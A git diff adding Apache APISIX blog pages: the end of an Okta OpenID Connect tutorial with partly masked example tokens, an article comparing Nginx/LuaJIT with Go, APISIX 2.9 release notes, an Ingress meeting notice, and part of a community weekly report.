+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "httpbin.org:80":1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<h3 id="step-4-accessing-apache-apisix">Step 4: Accessing Apache APISIX</h3>
+<ol>
+<li>Visit <a href="http://127.0.0.1:9080/get">http://127.0.0.1:9080/get</a> and the page is redirected to the Okta login page because the OpenID Connect plugin is turned on.</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1639467566395-2a049b96-3b1f-4e74-93f0-d6ea2f52a72e.png" alt="visit Okta login page"></p>
+<ol start="2">
+<li>
+<p>Enter the password you registered with Okta and click “Sign in” to log in to your Okta account. 3.</p>
+</li>
+<li>
+<p>After successful login, you can successfully access the get page in httpbin.org. The httpbin.org/get page will return the requested data as follows.</p>
+</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="sh"><code><span class="line"><span style="color:#FFA657">"X-Access-Token"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "******Y0RPcXRtc0FtWWVuX2JQaFo1ZVBvSlBNdlFHejN1dXY5elV3IiwiYWxnIjoiUlMyNTYifQ.***TVER3QUlPbWZYSVRzWHRxRWh2QUtQMWRzVDVGZHZnZzAiLCJpc3MiOiJodHRwczovL3FxdGVzdG1hbi5va3RhLmNvbSIsImF1ZCI6Imh0dHBzOi8vcXF0ZXN0bWFuLm9 [...]
+<span class="line"><span style="color:#FFA657">"X-Id-Token"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "******aTdDRDJnczF5RnlXMUtPZUtuSUpQdyIsImFtciI6WyJwd2QiXSwic3ViIjoiMDB1YTA1ZWNkRmZXS0xLdW82OTUiLCJpc3MiOiJodHRwczpcL1wvcXF0ZXN0bWFuLm9rdGEuY29tIiwiYXVkIjoiMG9hMTFnOGQ4N08wRkNHWGc2OTYiLCJuYW1lIjoiUGV0ZXIgWmh1IiwianRpIjoiSUQuNGdvZWo4OGUyX2RuWUI1VmFMeUt2djNTdVJTQWhGNS0tM2l3Z0p5TTcxTSIsInZlciI6MSwicHJlZmVycmVkX3VzZXJuYW1lIjoiMjgzMDE4Nzk5QHFxLmNvbSIsImV4cCI6MTYyOD [...]
+<span class="line"><span style="color:#FFA657">"X-Userinfo"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*****lfbmFtZSI6IlpodSIsImxvY2FsZSI6ImVuLVVTIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiMjgzMDE4Nzk5QHFxLmNvbSIsInVwZGF0ZWRfYXQiOjE2MjgwNzA1ODEsInpvbmVpbmZvIjoiQW1lcmljYVwvTG9zX0FuZ2VsZXMiLCJzdWIiOiIwMHVhMDVlY2RGZldLTEt1bzY5NSIsImdpdmVuX25hbWUiOiJQZXRlciIsIm5hbWUiOiJQZXRl****"</span></span></code></pre>
+<p>In which:</p>
+<p><strong>X-Access-Token</strong>: Apache APISIX puts the access token obtained from the user provider into the X-Access-Token request header, which can be optionally put into the Authorization request header via access_token_in_authorization_header in the plugin configuration.</p>
+<p><img src="https://static.apiseven.com/202108/1639467626264-980605e2-0b21-4512-9e2c-af71950fcf99.png" alt="X-Access-Token"></p>
+<p><strong>X-Id-Token</strong>: Apache APISIX will put the ID token obtained from the user provider into the X-Id-Token request header after base64 encoding, you can choose whether to enable this feature by using the set_id_token_header in the plugin configuration.</p>
+<p><img src="https://static.apiseven.com/202108/1639467682902-ada726b8-b46b-460d-8313-ef47b38d13ab.png" alt="X-Id-Token"></p>
+<p><strong>X-Userinfo</strong>: Apache APISIX will get the user information from the user provider and put it into X-Userinfo after base64 encoding, you can choose whether to turn it on or not by using set_userinfo_header in the plugin configuration, the default is on.</p>
+<p><img src="https://static.apiseven.com/202108/1639467730566-fc8a8a76-a3aa-4b8e-bb13-505b50839877.png" alt="X-Userinfo"></p>
+<p>As you can see, Apache APISIX will carry the X-Access-Token, X-Id-Token, and X-Userinfo request headers to the upstream. The upstream can parse these headers to get the user ID information and user metadata.</p>
+<p>We show the process of setting up centralized authentication from Okta directly in Apache APISIX. It is easy to get started by signing up for a free Okta developer account. This centralized approach to authentication reduces learning and maintenance costs for developers and provides a secure and streamlined user experience.</p>
+<h2 id="about-okta">About Okta</h2>
+<p>Okta is a customizable, secure centralized authentication solution. Okta can add authentication and authorization to your application. Get scalable authentication directly in your application without writing your own code. You can connect your application to Okta and define how users log in. Each time a user tries to authenticate, Okta verifies their identity and sends the required information back to your application.</p>
+<h2 id="about-apache-apisix">About Apache APISIX</h2>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway that provides load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, and other rich traffic management features. You can use Apache APISIX for traditional north-south traffic, as well as east-west traffic between services, or as a <a href="https://github.com/apache/apisix-ingress-controller">Kubernetes Ingress Controller</a>.</p>
+<p>Hundreds of enterprises worldwide have used Apache APISIX to handle business-critical traffic, covering finance, Internet, manufacturing, retail, carriers, and more, such as NASA, the EU’s Digital Factory, China Airlines, China Mobile, Tencent, Huawei, Sina Weibo, NetEase, Ke, 360, Taikang, Nayuki, and more.</p>
+<p>Github: <a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></p>
+<p>Official website: <a href="https://apisix.apache.org">https://apisix.apache.org</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/08/25/why-apache-apisix-chose-nginx-and-lua/index.html b/blog/2021/08/25/why-apache-apisix-chose-nginx-and-lua/index.html
new file mode 100644
index 00000000000..2982c4ade61
--- /dev/null
+++ b/blog/2021/08/25/why-apache-apisix-chose-nginx-and-lua/index.html
@@ -0,0 +1,105 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Why Apache APISIX chose Nginx and Lua to build API Gateway | Apache APISIX</title><meta name="description" content="Learn why Apache APISIX uses NGINX and Lua, and how this architecture supports high-performance dynamic routing, plugins, and hot configuration updates."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.a [...]
+<p>This article was written by Zexuan Luo, engineer of <a href="https://api7.ai/">API7.ai</a>, and introduced the historical background of Apache APISIX’s selection of Nginx + Lua technology stack and the advantages this technology stack brings to Apache APISIX. Zexuan Luo is an OpenResty developer and Apache APISIX PMC.</p>
+</blockquote>
+<!--truncate-->
+<p>When I was at this year’s COSCUP conference, some visitors asked me why did Apache APISIX, Kong, and 3scale API Gateways all choose Lua to build the program?</p>
+<p>Yes, Lua is not a well-known language, and it is probably a long way from the most popular programming language.</p>
+<p>So why do Apache APISIX and other well-known gateways choose Lua?</p>
+<p>The technology stack used by Apache APISIX is not only Lua. To be precise, it should be Nginx with Lua. Apache APISIX is based on Nginx and uses Lua to build plugins or other features.</p>
+<h2 id="luajit-vs-go">LuaJIT VS Go</h2>
+<p>Serious readers may point out that Apache APISIX is not based on the Nginx + Lua stack, but Nginx + LuaJIT (also known as OpenResty). LuaJIT is a Just-In-Time Compiler (JIT) for the Lua programming language, its performance is much better than Lua. LuaJIT adds FFI functions to make it easy and efficient to call C code.</p>
+<p>Since the current popular API gateways are either based on OpenResty or Go, developers are having hot debates about the performances of Lua and Go.</p>
+<p><strong>From my point of view, it is meaningless to compare the performance of languages without scenes.</strong></p>
+<p>First of all, to be clear, Apache APISIX is based on Nginx and Lua, and only the outer layer codes use Lua. So if you want to know which gateway performs better, the correct comparison object is to compare C with LuaJIT and Go. The bulk of the performance of the gateway lies in proxy HTTP requests and responses, and Nginx mainly does this piece of work.</p>
+<p><strong>The best way to test gateways’ performances is to compare the HTTP implementation of the Nginx and Go standard libraries.</strong></p>
+<p>As we all know, Nginx is a high-performance server, which is very strict with memory usage. Here are two examples:</p>
+<p>The request header in Nginx is usually just a pointer to the original HTTP request data, and a copy is created only when it is modified.</p>
+<p>When Nginx proxy upstream server’s response, It is very complicated to reuse Buffer.</p>
+<p>With those strict rules, Nginx is one of the most popular and high-performance servers.</p>
+<p>In contrast, the HTTP implementation in Go standard library is typical of memory abuse. Fasthttp, a project that re-implements HTTP packages in the Go standard library, gives us two examples:</p>
+<p>We cannot reuse the standard library’s HTTP Request structure;
+Headers are always parsed in advance and stored as a <code>map [string][]string</code>, even if they are not used (see: <a href="https://github.com/valyala/fasthttp#faq">Fasthttp FAQ</a>).</p>
+<p>The Fasthttp document also mentions some optimization skills for bytes matter, I would suggest that you take a look.</p>
+<p>Actually, codes written in LuaJIT are not necessarily much worse than those written in Go. Here are two reasons:</p>
+<p><strong>First, most of Lua’s library cores are written in C.</strong></p>
+<p>For example, lua-cjson and lua-resty-core are implemented with C, but the Go libraries, of course, are mainly implemented with Go. Although there is such a thing called CGO, it is limited by Go’s coroutine scheduling and toolchain, and it can only be in a subordinate position in the Go ecosystem.</p>
+<p>For the comparison of LuaJIT and Go’s affinity with C, here has one post from Hacker News: <a href="https://news.ycombinator.com/item?id=17161168">Comparing the C FFI overhead in various programming languages</a>.</p>
+<p>So when we compare some of Lua’s features, we are actually comparing C and Go.
+Second, LuaJIT’s JIT optimization is unparalleled.</p>
+<p><strong>Secondly, LuaJIT has one of the best JIT Opitimizations.</strong></p>
+<p>We could divide dynamic languages into two cases, with or without JIT. JIT optimization can compile dynamic language code into machine code at runtime, thus improving the performance of the original code by order of magnitude.</p>
+<p>Languages with JIT can also be divided into two cases, those that fully support JIT (e.g LuaJIT) and those that only support part of JIT.</p>
+<p>The debate about who is faster, LuaJIT or V8, has been a hot topic for a long time. In short, the performance of LuaJIT is not much different from that of the pre-compiled Go program.</p>
+<p>As for which one is slower and slower by how much, that is a matter of opinion. Here is an example:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>local text = {"The", "quick", "brown", "fox", "jumped", "over", "the", "lazy", "dog", "at", "a", "restaurant", "near", "the", "lake", "of", "a", "new", "era"}</span></span>
+<span class="line"><span>local map = {}</span></span>
+<span class="line"><span>local times = 1e8</span></span>
+<span class="line"><span>local n = #text</span></span>
+<span class="line"><span>for i = 1, n do</span></span>
+<span class="line"><span> map[text[i]] = 0</span></span>
+<span class="line"><span> for _ = 1, times do</span></span>
+<span class="line"><span> map[text[i]] = map[text[i]] + 1</span></span>
+<span class="line"><span> end</span></span>
+<span class="line"><span>end</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>for i = 1, n do</span></span>
+<span class="line"><span> io.write(text[i], " ", map[text[i]], "\n")</span></span>
+<span class="line"><span>end</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>package main</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>func main() {</span></span>
+<span class="line"><span> text := []string{"The", "quick", "brown", "fox", "jumped", "over", "the", "lazy", "dog", "at", "a", "restaurant", "near", "the", "lake", "of", "a", "new", "era"}</span></span>
+<span class="line"><span> m := map[string]int{}</span></span>
+<span class="line"><span> times := int(1e8)</span></span>
+<span class="line"><span> for _, t := range text {</span></span>
+<span class="line"><span> m[t] = 0</span></span>
+<span class="line"><span> for i := 0; i < times; i++ {</span></span>
+<span class="line"><span> m[t]++</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> for _, t := range text {</span></span>
+<span class="line"><span> fmt.Println(t, " ", m[t])</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<p>The above two code snippets are equivalent. Can you guess whether the first Lua version is faster or the second Go version is shorter?</p>
+<p>The first took less than 1 second on my machine, and the second took more than 23 seconds.</p>
+<p>This example is not to prove that LuaJIT is 20 times faster than Go. I want to show that using a microbenchmark to prove that one language is shorter than another does not make much sense because many factors affect performance. A simple microbenchmark is likely to overemphasize one factor and lead to unexpected results.</p>
+<h2 id="nginx-with-lua-high-performance--flexibility">Nginx with Lua: High Performance + Flexibility</h2>
+<p>Let’s go back to Apache APISIX’s Nginx and Lua stack. The Nginx + Lua stack brings us more than just high performance.</p>
+<p>People often ask us, since Apache APISIX is based on the open-sourced Nginx, and Nginx does not support dynamic configuration, why Apache APISIX claims that it supports dynamic configuration? Has it changed anything?</p>
+<p>Yes, we do maintain our own Nginx distribution, but most features of Apache APISIX are available on the official Nginx. The reason why we can do dynamic configuration is to put the configuration into Lua code.</p>
+<p>Take the Route system as an example. Nginx’s routes need to be configured in the configuration file, and every time the route is changed, it needs to be reloaded before it can take effect. Nginx’s route distribution only supports static configuration and cannot dynamically increase or decrease routes.</p>
+<p><strong>To support dynamic routing configuration, Apache APISIX does two things:</strong></p>
+<ol>
+<li>
+<p>Configure a single server in the Nginx configuration file. There is only one location on this server. We use this location as the main entrance so that all requests will come to this place.</p>
+</li>
+<li>
+<p>We use Lua to complete the route distribution work. Apache APISIX’s route distribution module supports increasing or decreasing routes at run time to configure routes dynamically.</p>
+</li>
+</ol>
+<p>You may want to ask, is routing distribution in Lua slower than Nginx implementation?</p>
+<p>As mentioned earlier, we rewrite the core code in C for those with high-performance requirements. We did the same thing our route distribution module does. The module uses a radix-tree to match a route. We use C to implement the radix-tree. Please feel free to take a look at the code in <a href="https://github.com/api7/lua-resty-radixtree/">lua-resty-radixtree</a>.</p>
+<p>After completing the radix-tree matching, it is time for Lua to show its flexibility. We support matching at the next level in many other ways for each the same prefix route, including checking through a specific expression. Although it is tough to access an expression engine using C, a pure C implementation cannot flexibly customize the variables inside the expression.</p>
+<p>For example, here is the route configuration that Apache APISIX uses to match GraphQL requests:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "methods"</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"POST"</span><span style="color:#E6EDF3">],</span></span>
+<span class="line"><span style="color:#7EE787"> "upstream"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "nodes"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "127.0.0.1:1980"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"roundrobin"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "uri"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/hello"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "vars"</span><span style="color:#E6EDF3">: [[</span><span style="color:#A5D6FF">"graphql_name"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"=="</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"repo"</span><span style="color:#E6EDF3">]]</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>It matches a GraphQL request like this:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>query repo {</span></span>
+<span class="line"><span> owner {</span></span>
+<span class="line"><span> name</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<p>The graphql_name here is not an Nginx built-in variable, but is defined through Lua code. Apache APISIX defines three GraphQL-related variables, and there are only 62 lines of Lua codes (including parsing the GraphQL body). If you want to define variables through the Nginx C module, 62 lines may just be building up the boilerplate code of related methods, and there is no real logic to parse GraphQL yet.</p>
+<p><strong>Using Lua for routing has another advantage: it reduces the threshold of development.</strong></p>
+<p>Suppose we need particular logic in the routing process, users can implement custom variables and operators, such as determining which route to use by matching the geographic location of the IP library. Users only need to write some Lua code, which is much less complicated than modifying the Nginx C module.</p>
+<p>In Apache APISIX, the routing system is dynamic. Our TLS server-side certificates and upstream node configurations are dynamic. There is no need to modify Nginx — the above functions can run on the official Nginx and Lua stack. Of course, by modifying Nginx, we have also implemented more advanced features, such as dynamic gzip configuration and dynamic client request size limit. We will implement our own Nginx distribution later so that open source users can easily use these advanced [...]
\ No newline at end of file
diff --git a/blog/2021/08/27/release-apache-apisix-2.9/index.html b/blog/2021/08/27/release-apache-apisix-2.9/index.html
new file mode 100644
index 00000000000..17efb9ad890
--- /dev/null
+++ b/blog/2021/08/27/release-apache-apisix-2.9/index.html
@@ -0,0 +1,49 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Release Apache APISIX 2.9 | Apache APISIX</title><meta name="description" content="The Apache APISIX 2.9 version of the cloud native API gateway adds the authz-casbin plugin and the dynamic configuration of real-ip at the routing level."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/27/releas [...]
+<p>Apache APISIX version 2.9 is released!</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX version 2.9 is officially released! 🎉 This release has 30+ developers, 100+ PR submissions, 2 new features, and further improved support for plugins, come and learn about the new features in Apache APISIX 2.9!</p>
+<h2 id="new-plugin-authz-casbin">New Plugin: authz-casbin</h2>
+<p>The Casbin community has contributed <a href="https://github.com/apache/apisix/blob/d9b928321fcdd12eef024df8c7c410424c1e0c8b/docs/en/latest/">authz-casbin</a> to APISIX plugins/authz-casbin.md) plugin to APISIX, and in the new APISIX 2.9 release, APISIX can combine Casbin to do granular permission management at the route level.</p>
+<p>Casbin is an open source access control framework that supports configuration to decide whether to allow a certain access operation. With the authz-casbin plugin, we can do multiple roles of access control in one route at the same time.</p>
+<p>This control can be set either through a configuration file or through the APISIX Control Plane; it can take effect for a given route or set global defaults. It is very flexible.</p>
+<p>If you are interested in this plugin, you are welcome to read <a href="https://apisix.apache.org/blog/2021/08/25/Auth-with-Casbin-in-Apache-APISIX">Authorization with Casbin in Apache APISIX</a>.</p>
+<h2 id="new-feature-dynamic-configuration-of-real-ip-at-route-level">New Feature: Dynamic Configuration of real-ip at Route Level</h2>
+<p>Apache APISIX version 2.9 now supports dynamic configuration of real-ip at the route level!</p>
+<p>The new version adds the <a href="https://apisix.apache.org/zh/docs/apisix/plugins/real-ip/">real-ip</a> plugin, which dynamically changes the IP and port of the client seen by APISIX.</p>
+<p>We can use this plugin to dynamically set real-ip parameters.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> "plugins": {</span></span>
+<span class="line"><span> "real-ip": {</span></span>
+<span class="line"><span> "source": "http_x_forwarded_for",</span></span>
+<span class="line"><span> "trusted_addresses": ["127.0.0.0/24"]</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<h2 id="improvement-external-plug-in-mechanism">Improvement: External Plug-in Mechanism</h2>
+<p>Apache APISIX version 2.9 further improves the support for external plugins with two major changes:</p>
+<ol>
+<li>
+<p>When sending a plugin configuration to Plugin Runner, a unique key is sent. because APISIX is a multi-process architecture, in the past, a plugin configuration was sent several times, causing Plugin Runner to update the plugin configuration repeatedly. Now, with this unique key, Plugin Runner can identify duplicate configurations. This makes it possible to implement a plug-in inside Plugin Runner that limits flow!</p>
+</li>
+<li>
+<p>Add a mechanism to get APISIX information from Plugin Runner in the reverse direction. In addition to the request header and request path information sent from APISIX to Plugin Runner, Plugin Runner can also query information from APISIX in the reverse direction. The Var API has been implemented in the Go Plugin Runner implementation to use this mechanism to get information about Nginx variables such as the request_time of the request.</p>
+</li>
+</ol>
+<p>The <a href="https://github.com/apache/apisix-go-plugin-runner/tree/6f249010b83a124bc30e940635db7fa0838e2c4a">Go Plugin Runner</a>, which includes this change, will be released next week Version 0.2.0 will be released next week, so stay tuned!</p>
+<h2 id="improvement-existing-plug-ins-enhancement">Improvement: Existing Plug-ins Enhancement</h2>
+<p>APISIX version 2.9 improves the functionality of existing plugins with two major changes:</p>
+<ol>
+<li>
+<p>the <a href="https://apisix.apache.org/docs/apisix/plugins/request-id/">request-id</a> plugin supports ID generation via the snowflake algorithm. the snowflake ID generation algorithm is a distributed ID generation mechanism, which generates The snowflake ID generation algorithm is a distributed ID generation mechanism that combines machine IDs, timestamps, and generation sequences. We use etcd to ensure that each worker is assigned a unique machine ID.</p>
+</li>
+<li>
+<p>The <a href="https://apisix.apache.org/docs/apisix/plugins/error-log-logger/">error-log-logger</a> plugin supports reporting error logs to skywalking, adding to the observability of APISIX. This adds to the observability of APISIX.</p>
+</li>
+</ol>
+<h2 id="download">Download</h2>
+<p>Download Apache APISIX 2.9</p>
+<ul>
+<li>Source code: please visit <a href="https://apisix.apache.org/downloads/">download page</a></li>
+<li>Binary installation package: please visit <a href="https://apisix.apache.org/docs/apisix/how-to-build/">Installation Guide</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/08/30/ingress-meeting/index.html b/blog/2021/08/30/ingress-meeting/index.html
new file mode 100644
index 00000000000..eb7b76c6a2b
--- /dev/null
+++ b/blog/2021/08/30/ingress-meeting/index.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Webinar| Apache APISIX Ingress Community Meeting | Apache APISIX</title><meta name="description" content="The Apache APISIX Ingress community meeting establishes communication channels with community users and developers to help everyone understand the direction and plans of the project."><meta name="robots" content="index,follow"><link rel="canonical" hr [...]
+<p>With the release of <a href="https://apisix.apache.org/blog/2021/06/18/first-GA-version-v1.0-of-Apache-APISIX-Ingress-Controller-released">Apache APISIX Ingress Controller version 1.0</a>, more and more developers have started to pay attention to the Apache APISIX Ingress solution. The Apache APISIX community hopes to establish a more direct communication channel with users and developers in the community to help them understand the development direction and development plans of Apach [...]
+</blockquote>
+<!--truncate-->
+<h2 id="meeting-schedule">Meeting Schedule</h2>
+<p>Every two weeks (Wednesdays) at 2pm, each meeting is about 1 hour.</p>
+<h2 id="meeting-address">Meeting address</h2>
+<p><a href="https://meeting.tencent.com/s/eTvhm052verD">Tencent Conference</a> ID: 377 1555 2043</p>
+<h2 id="weekly-meeting-report">Weekly Meeting Report</h2>
+<p>You can <a href="https://docs.qq.com/doc/DSEhMeGJ0UXdydFJy">this document</a> to leave the topics you want to discuss in advance</p>
+<h2 id="topics-for-each-session-may-be">Topics for each session may be</h2>
+<ul>
+<li>Discussion of some new feature requirements</li>
+<li>Sharing of technical architecture design</li>
+<li>Feedback on bugs</li>
+<li>Experiences and pitfalls in using Apache APISIX Ingress Controller by yourself or your team</li>
+<li>Testimonials or complaints about Apache APISIX Ingress Controller</li>
+</ul>
+<p>Of course, you are also very welcome to give your opinions or contribute your ideas to the construction of the Apache APISIX community, if you have suggestions and ideas for the meeting, please feel free to <a href="https://github.com/apache/apisix-ingress-controller/issues/614">issue</a> and reply to it!</p>
+<p>We welcome you to join us to discuss the Apache APISIX Ingress solution, and we welcome you to join the community of developers to build a better Apache APISIX Ingress Controller.</p>
+<p>If you are interested in the technical direction of Apache APISIX, want to develop it together, or have other suggestions or comments, you can participate through the following channels: 1.</p>
+<ol>
+<li>
+<p>subscribe and send an email to <a href="mailto:dev@apisix.apache.org">dev@apisix.apache.org</a>
+Participate in the community the Apache Way way by subscribing to the <a href="https://apisix.apache.org/docs/general/join">Subscription Guide</a>. The mailing list is the most common way for the Apache community to communicate, and the community will actively respond to questions on the mailing list.</p>
+</li>
+<li>
+<p>Start a discussion in the Apache APISIX Github discussion
+The <a href="https://github.com/apache/apisix/discussions">discussion</a> area is very active. From time to time, we’ll also include a summary of frequently asked questions in the discussion to make them easier to find.</p>
+</li>
+</ol> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/08/30/weekly-report/index.html b/blog/2021/08/30/weekly-report/index.html
new file mode 100644
index 00000000000..35089939412
--- /dev/null
+++ b/blog/2021/08/30/weekly-report/index.html
@@ -0,0 +1,71 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Weekly Report (Aug 23 - Aug 29) | Apache APISIX</title><meta name="description" content="The Apache APISIX Community Weekly Newsletter hopes to help community members better understand the weekly progress of the Apache APISIX community."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/30/weekly [...]
+<h2 id="introduction">Introduction</h2>
+<p>Apache APISIX has grown as a community from the first day of open source and has quickly become the most active open source API gateway project in the world. These achievements cannot be achieved without the joint efforts of our community partners.</p>
+<p>“The Apache APISIX Community Weekly Newsletter hopes to help community members better grasp the weekly progress of the Apache APISIX community and facilitate your participation in the Apache APISIX community.</p>
+<p>We’ve also put together some issues for those new to the community! If you are interested, don’t miss them!</p>
+<h2 id="contributor-statistics">Contributor statistics</h2>
+<p><img src="https://static.apiseven.com/202108/1630393952402-4965d35c-6b05-4f71-9966-2fea7f7939d3.JPG" alt="Number of new contributors"></p>
+<p><img src="https://static.apiseven.com/202108/1630393952406-9f61c39b-ea9e-4451-bd26-ab845a32a222.JPG" alt="New contributors this week"></p>
+<h2 id="good-first-issue">Good first issue</h2>
+<h3 id="issue-4241">Issue #4241</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/4241">https://github.com/apache/apisix/issues/4241</a></p>
+<p><strong>Problem Description</strong>: Now when adding the jwt-auth plugin to a service/route, the jwt token does not contain a “key” declaration.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "iss"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://127.0.0.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "client_id"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "application1",</span></span>
+<span class="line"><span style="color:#FFA657"> "sub"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "1234567890",</span></span>
+<span class="line"><span style="color:#FFA657"> "iat"</span><span style="color:#79C0FF">:</span><span style="color:#79C0FF"> 1516239022</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p><img src="https://static.apiseven.com/202108/1630393952407-b6a26364-6c36-47f6-82c2-81514c31f20b.PNG" alt="Screenshot of issue description"></p>
+<h3 id="issue-4441">Issue #4441</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/4441">Issue #4441</a></p>
+<p><strong>Issue Description</strong>: Now APISIX stream_routes parameter “remote_addr” only support single ip, need to support multiple ip or match rule like “192.168.0.0/16”, like http routing parameter “remote_addr”.</p>
+<h3 id="issue-3601">Issue #3601</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/3601">Issue #3601</a></p>
+<p><strong>Issue Description</strong>: Currently APISIX only has unit tests for request-response gRPC proxies, and no tests related to streaming gRPC. Need to add test cases for streaming gRPC to it.</p>
+<h3 id="issue-3931">Issue #3931</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/3931">Issue #3931</a></p>
+<p><strong>Issue Description</strong>: http_to_https in the redirect plugin lacks curl tests, need to add curl tests for http_to_https in the redirect plugin and update the documentation <a href="http://apisix.apache.org/docs/apisix/plugins/redirect">Apache APISIX redirect plugin</a>.</p>
+<h2 id="feature-highlights-of-the-week">Feature highlights of the week</h2>
+<ul>
+<li>
+<p>uri-blocker support for ignoring case when matching request URIs</p>
+<ul>
+<li><strong>Related PR</strong>: <a href="https://github.com/apache/apisix/pull/4868">https://github.com/apache/apisix/pull/4868</a></li>
+<li><strong>Contributor</strong>: <a href="https://github.com/okaybase">okaybase</a></li>
+</ul>
+</li>
+<li>
+<p>kafka-logger Support for configuring acks parameters for kafka producers</p>
+<ul>
+<li><strong>Related PR</strong>: <a href="https://github.com/apache/apisix/pull/4878">https://github.com/apache/apisix/pull/4878</a></li>
+<li><strong>Contributors</strong>: <a href="https://github.com/okaybase">okaybase</a></li>
+</ul>
+</li>
+<li>
+<p>kafka-logger supports configuring the cluster name parameter</p>
+<ul>
